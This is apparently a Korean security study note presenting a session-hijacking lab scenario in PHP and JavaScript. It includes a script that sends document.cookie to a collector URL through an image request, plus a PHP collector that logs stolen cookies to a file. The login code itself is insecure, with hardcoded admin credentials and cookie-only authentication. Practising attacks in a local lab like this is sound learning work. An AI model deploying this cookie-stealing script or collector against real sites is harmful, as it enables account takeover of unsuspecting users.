<시나리오>
로그인을 하면
main페이지가 나타난다.
특정 링크를 클릭하면
세션ID가 탈취된다.
login.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
<input type="text" name="id" placeholder="ID를 입력하세요">
<input type="password" name="pw" placeholder="PW를 입력하세요">
<button type="submit">버튼</button>
</form>
</body>
</html>
<?php
session_start();
if(isset($_POST['id']) && isset($_POST['pw'])){
$id = $_POST['id'];
$pw = $_POST['pw'];
if($id === "admin" && $pw === "admin"){
setcookie("admin","admin",time()+200,"/");
header("Location: 2.php");
}
}
?>main.php
<?php
if(isset($_COOKIE['admin'])){
echo "admin";
echo "<h3>"."<a href=\"3.php\">"."go"."</a>"."</h3>";
}else{
echo "back";
header("location: 1.php");
}
?> 3.php
<?php
echo "good"
?>
<script>
$cookie = document.cookie;
$url = "http://localhost/prc/GC/4.php?c=";
new Image().src=$url+$cookie;
</script>4.php
<?php
$str = isset($_GET['c'])?$_GET['c']:false;
if($str){
$ff=fopen('cookie.txt','a+');
fputs($ff,$str);
fclose($ff);
}
?>--Normaltic Study 4주차 6일--
